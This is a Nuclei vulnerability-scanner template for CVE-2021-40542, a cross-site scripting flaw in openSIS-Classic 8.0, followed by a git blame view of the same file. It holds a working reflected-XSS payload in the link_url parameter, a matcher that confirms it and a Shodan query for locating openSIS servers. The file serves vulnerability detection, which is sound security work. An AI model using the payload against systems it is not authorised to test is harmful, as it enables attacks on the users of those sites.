nuclei-templates/http/cves/2021/CVE-2021-40542.yaml

id: CVE-2021-40542

info:
  name: Opensis-Classic 8.0 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: |
    Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://github.com/OS4ED/openSIS-Classic/issues/189
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40542
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40542
    cwe-id: CWE-79
    epss-score: 0.00643
    epss-percentile: 0.76931
    cpe: cpe:2.3:a:os4ed:opensis:8.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: os4ed
    product: opensis
    shodan-query: http.title:"openSIS"
  tags: xss,cve,cve2021,opensis,os4ed

http:
  - method: GET
    path:
      - '{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022000ad4e3db029fbc9ed443f265c983183335e9500b56fa58ce0057e29163edb03022100b79468d2c0642bcc26a4922ddfccbd619cd202537a8eac53d5c50c71bdaee7c7:922c64590222798bb761d5b6d8e72950
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`id: CVE-2021-40542`

			`info:`
Normalization of Cross-Site Scripting names (#5329) 2022-09-09 17:34:37 +00:00			`name: Opensis-Classic 8.0 - Cross-Site Scripting`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`author: alph4byt3`
			`severity: medium`
Dashboard Content Enhancements (#4268) Dashboard Content Enhancements 2022-04-29 19:58:07 +00:00			`description: \|`
			`Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`reference:`
			`- https://github.com/OS4ED/openSIS-Classic/issues/189`
			`- https://nvd.nist.gov/vuln/detail/CVE-2021-40542`
			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 6.1`
Classification CVE id fix in CVE-2021-40542.yaml 2022-04-22 16:21:28 +00:00			`cve-id: CVE-2021-40542`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`cwe-id: CWE-79`
Added EPSS Percentile 2023-08-31 11:46:18 +00:00			`epss-score: 0.00643`
TemplateMan Update [Mon Nov 27 09:19:41 UTC 2023] :robot: 2023-11-27 09:19:41 +00:00			`epss-percentile: 0.76931`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:os4ed:opensis:8.0:::::::*`
Update CVE-2021-40542.yaml 2022-07-10 09:37:25 +00:00			`metadata:`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: os4ed`
			`product: opensis`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`shodan-query: http.title:"openSIS"`
tags enhancements 2023-12-05 09:50:33 +00:00			`tags: xss,cve,cve2021,opensis,os4ed`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`- method: GET`
			`path:`
Update and rename CVE-2021-40542.yaml to cves/2021/CVE-2021-40542.yaml 2021-12-03 07:12:37 +00:00			`- '{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`part: body`
			`words:`
Update and rename CVE-2021-40542.yaml to cves/2021/CVE-2021-40542.yaml 2021-12-03 07:12:37 +00:00			`- "</script><script>alert(document.domain)</script>"`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00
			`- type: word`
			`part: header`
			`words:`
			`- text/html`

			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Wed Dec 6 05:59:55 UTC 2023] :robot: 2023-12-06 05:59:56 +00:00			`# digest: 4a0a00473045022000ad4e3db029fbc9ed443f265c983183335e9500b56fa58ce0057e29163edb03022100b79468d2c0642bcc26a4922ddfccbd619cd202537a8eac53d5c50c71bdaee7c7:922c64590222798bb761d5b6d8e72950`